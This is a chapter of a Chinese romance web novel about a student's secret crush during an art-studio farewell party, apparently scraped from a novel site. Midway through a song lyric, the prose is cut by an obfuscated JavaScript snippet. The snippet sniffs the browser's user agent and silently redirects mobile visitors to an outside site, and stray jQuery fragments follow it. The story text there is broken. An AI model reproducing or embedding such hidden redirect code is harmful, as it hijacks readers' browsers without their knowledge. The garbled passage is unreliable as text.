校考的时间按照每个美院的具体发布时间为准，有的是一月初，有的是一月中。


    四个人里，有参加校考的周末还可以来画室画画，没有的，那今晚也算是最后一次来画室了。


    今晚这场团建，还有高一高二的学生，为他们送别。


    在画室里的最后一个周六。


    从省里回来，陈南玥把东西给陈梅后就和宋言一起到画室里。


    画室里早早就挂上了横幅，写上送别和祝福的词。


    画室里的画架都被往后挪，空出一块地，放了很多零食。


    很多同学手里拿着鼓掌玩具，画室集训里的林妙灵和另外一个女生很早就到了。


    陈江在旁边打电话，见他们回来，挥了挥手让他们找个位置先坐。


    陈南玥和宋言找了个位置坐下后，拿出手机。


    在来的路上，陈南玥的手机一直在响，摸出后才发现是画室的群弹出好多消息。


    【全国美院都抢我：大家都到了的话在群里扣1，我们团建7.开始哦。】


    【楼上请我吃饭：1】


    【考不上美院中奖一千万：1】


    【看到我请叫我去画画：1@聿今晚有来吗？】


    【看什么看：1。】


    ……


    99＋的消息，几乎是1和几句闲聊，陈南玥扣了个1，往上划拉，没看到高聿祺的回复。


    不知道他今晚会不会来。


    群里又弹出了消息。


    【一只精灵：应该会来，大家不是会表演节目吗？@聿今晚弹吉他？】


    网名叫“一只精灵”的同学不怎么冒泡，陈南玥没有印象，不知道是谁。


    这条消息看起来和高聿祺实在是熟悉，陈南玥隐隐约约能猜到是谁。


    是林妙灵吧，那个能够大大咧咧，无所畏惧和高聿祺说话的女孩。


    陈南玥看着那条白底黑字的气泡，仿佛要将它看出个洞来。


    然后，她的肩膀就被拍了拍。


    陈南玥转过头去，发现林妙灵走到了她的身边，旁边还站着另外一个集训女孩。


    她下意识地把手机熄屏，“怎么了？”


    林妙灵朝她递来一张米黄色的纸页，“我们一起集训了几个月，给你的同学录，可以填吗？”


    陈南玥受宠若惊，其实集训这么久，林妙灵的画架在她前面一排。


    她们平时并没有什么交集，只是偶尔说上几句话，再无其他。


    陈南玥接过那张米黄色的同学录，“可以的。”


    林妙灵露出很亲切的笑。


    另外一个女生也给陈南玥递来同学录，再都给宋言写。


    宋言并不是很想写这东西，不过在看到陈南玥写了后，她也接过了。


    目光里，林妙灵给画室所有人都递了同学录，包括陈江。


    陈江诧异：“怎么也给我了一张？”


    林妙灵两手一摊：“舍不得您呗。”


    同学录这东西，陈南玥自从小学毕业后，就很少见过了。


    姓名，年龄，生日，星座，喜欢的东西，讨厌的东西，一一都写上。


    唯独在“你有没有喜欢的人？”那一栏，陈南玥停了笔。


    她有喜欢的人吗？


    有。


    但是不能说。


    最起码，现在还在画室，不能说。


    太多原因了。


    思考再三，陈南玥在那一栏写下“没有”两个字。


    背面是“你有想对我说的话吗？”，陈南玥实在和林妙灵谈不上熟悉，想来想去，她工工整整地写下祝福—


    “祝你考到心仪的美院，平安喜乐，万事顺遂。”


    给另外一个女生的，也就是最后的祝福语换了一句。


    陈南玥写完分别递给林妙灵和另外一个女孩。


    有同学录这回事，陈南玥一开始觉得并没有什么的，而真正让她羡慕的是—


    高聿祺来了。


    他穿着黑色的皮衣，里头的白T半扎进烟灰色的宽松牛仔裤里，整个人的身姿被衬的更加落拓有型。


    眼眸深邃半垂，额前的碎发微微笼去他的眉眼，看不清神色。


    高聿祺的背上，是一把吉他。


    他真的来了。


    还来不及反应时，林妙灵拿着同学录就这么朝高聿祺走过去了。


    “嘿，给我写一张同学录可以吗？”她大步走过去，眼眸弯弯，十分灵动。


    高聿祺转过身，漫不经心，“同学录？多少年了你还写这个啊。”


    “不能写吗？”林妙灵耸耸肩。


    也就是这时，陈南玥才发现林妙灵穿着一身黑色的外套，和同配色的工装裤，脚踩老爹鞋，中指上的银戒在光线下投出清冷的光。


    很漂亮的一身中性穿搭。


    和高聿祺今晚的，很搭。


    高聿祺无所谓，“行啊，一会给你写。”


    “背后认真写，给我的话。”


    “行啊。”


    ……


    陈南玥看着高聿祺接过了那张同学录。


    后知后觉地发现，她对画室的记录，寥寥无几。


    除了记忆，什么都没有。


    .


    记忆里，团建是喧闹且欢快的，画室的团建也是一样的。


    氛围很好，因为要艺考，所以陈南玥他们都没有要求表演节目。


    高一高二的学生，要么上去写生速写，要么唱歌，要么跳舞，表演小品。


    玩游戏的也有。


    特别欢快的一个晚上。


    陈南玥也忍不住被感染，开了包薯片，慢吞吞地咬着，弯着眼睛看着眼前正在抽人玩游戏的同学。


    宋言凑过来问她：“要不要一起上去玩？”


    玩的是你画我猜，两人一组，很简单的游戏。


    有奖品，赢了的人每个人都可以拿一只白色的毛绒兔子。


    陈南玥摇摇头，“不了吧。”


    宋言没太惊讶，“行吧。”


    这场游戏，林妙灵和她的朋友上去了，两个人很有默契，获得了胜利，每个人分得了一只兔子。


    到最后，陈江拍了拍手，“接下来，让高聿祺给大家唱歌啊。”


    陈江看着坐在最后面的高聿祺，坑他似的故意说：“中华小曲库，大家想听什么随便点啊。”


    “呜呼—是吗！我要听《爱情买卖！》”有男生故意往后看。


    “《伤不起》啊《伤不起》。”


    “《爱的魔力转圈圈》行不行。”


    ……


    一个一个，都坏得很。


    陈南玥也跟着往后看。


    从前没觉得画室人多得很，从方才她一直有意无意地寻找高聿祺的身影。


    早早捕捉到他在最后面，可一直没敢往后看。


    当下，是最能有借口朝他看的一次。


    高聿祺拿着吉他站起来走过去，“一个一个地，都玩呢？”


    陈江给他准备了话筒，搬了凳子。


    高聿祺懒洋洋地看他：“玩我呢？”


    陈江摊摊手：“对咯。”


    高聿祺轻咳两声，坐在椅子上，对着话筒：“给大家唱一首《Always Online》啊。”


    他看着底下一群欲言又止的男生，眼眸勾着笑，故意说：“中华小曲库啊，一会等我心情好了再说啊。”


    一群男生颓废似的坐了下去。


    他们和高聿祺的关系不错，能够这么大胆的，一定是知道他人好。


    却也不敢太大胆，知道要有个度。


    因为高聿祺，也具有少年气的坏啊。


    陈南玥的眼眸一瞬不瞬地盯着高聿祺。


    琴弦在他修长的指骨下拨动，音节在空气中跳动。


    节奏跟着一下又一下。


    话筒经过电流，在音响里过渡后传出缓缓而又低沉的嗓音。


    “变色的生活，


    任性地挑拨，


    疯狂地冒出了头，


    单方的守候，


    试探的温柔。


    ……”


    整个画室都安静了下来，听着高聿祺唱歌。


    很好听的一首歌，连间奏都是那样的动人心弦。


    “我们连结了，</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157784|180063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    穿越，天空，银河，


    开始倒数three two one


    ……”


    深冬，公交站，屋檐，暗恋，星河。


    好像一切都被陈南玥自动配上了音乐。


    这是不应该的，这只是一首简单的歌，只是因为特殊的暗恋对象，而让陈南玥情不自禁地回想。


    她看着正在弹吉他而唱着歌的少年，又该怎么去重新定义《Always Online》这首歌的含义。


    心脏像是落入海里，沉沉溺溺，大脑疯狂地分泌多巴胺，明知这是一场飞蛾扑火，掉入深海漩涡，可多巴胺和肾上腺素却让她感到疯狂的亢奋。


    暗恋，是一场无法自拔又心甘情愿的自我沦陷。


    ……


    指骨按下最后一个琴弦，潮水般的掌声响起。


    陈南玥如梦初醒。


    一群男生带头起哄：“点歌！点歌！点歌！”


    和算计好似的，打算坑一把高聿祺，说起了粤语歌，“《灰色轨迹》《灰色轨迹》《灰色轨迹》。”


    “《半点心》《半点心》《半点心》。”


    高聿祺慢条斯理地拨了下琴弦。


    音响画室。


    陈南玥觉得她就像被拨动的琴弦，心思跟着散了。


    高聿祺慢慢悠悠地回应：“在这儿等着我啊，就非得选一首呗。”


    “选！”


    那群男生玩嗨了。


    陈江就这么看着，纵容着。


    谁都知道，高聿祺绝对行。


    他又拨动琴弦，连歌名都不说哪一首，故意让他们猜。


    直到熟悉的前奏响起。


    画室气氛升至高潮，“呜呼—”，男生们有几个忍不住站起来。


    高聿祺流利万分地唱着：“我说这里好吗，


    o sv zei lui hou ma，


    你抬头而无话，


    nei toi tao yi mou wa，


    你抱我吻上我嘴巴，


    nei pou o man soeng o zui ba，


    却似你吻向他，


    koe ci nei man hoeng ta


    ……”


    暧昧万分的隔壁，从高聿祺这样清洌的少年口中唱出，简直是刺激又带感。


    尤其是三个“半点心”悠悠扬扬地从话筒里传出，连耳朵都跟着酥麻。


    ……


    在那瞬间，陈南玥忽然就后悔，后悔怎么没有打开手机录下这一段呢。


    等再想起时，高聿祺已经收了吉他。


    陈江带头鼓掌，“行啊，唱这么好。”


    高聿祺眉梢微扬，“欠你的画都清了啊。”


    陈江立马垮脸：“……”


    最后一个环节，画室的音响里放出了悠扬前奏。


    《送别》。


    陈江走上去，“画室不搞煽情啊，但是怎么说团建都让大家唱唱啊，免得说我对你们这么严厉。”


    “会唱的就唱，不会的就听。”


    “祝大家都有个好成绩啊。”


    大概是《送别》这首歌太过气氛太沉重，画室又安静下来。


    接着，有小小的声音响起。


    “长亭外，古道别，芳草碧连天……”


    陈南玥没有开口，没有唱。


    而这一次，画室里，昏暗的光线成了陈南玥有利的机会，她的目光隐藏之下。


    而这一次，她没有躲避，将目光放在了高聿祺身上。


    不是余光，直直的。


    耳边是那样整齐的《送别》，她的目光只放在站在陈江身旁的高聿祺身上。


    她意识到，自己有可能将和高聿祺分别。


    原来从9月到12月，三个月是这么短。


    原来，暗恋这么长。


    原来，画室是见你的门票。


    没有这张门票，又该怎么见你。


    以后怎么办，我那么那么喜欢你。


    那我该怎么见你呢，该怎么找你呢。


    我的，学长。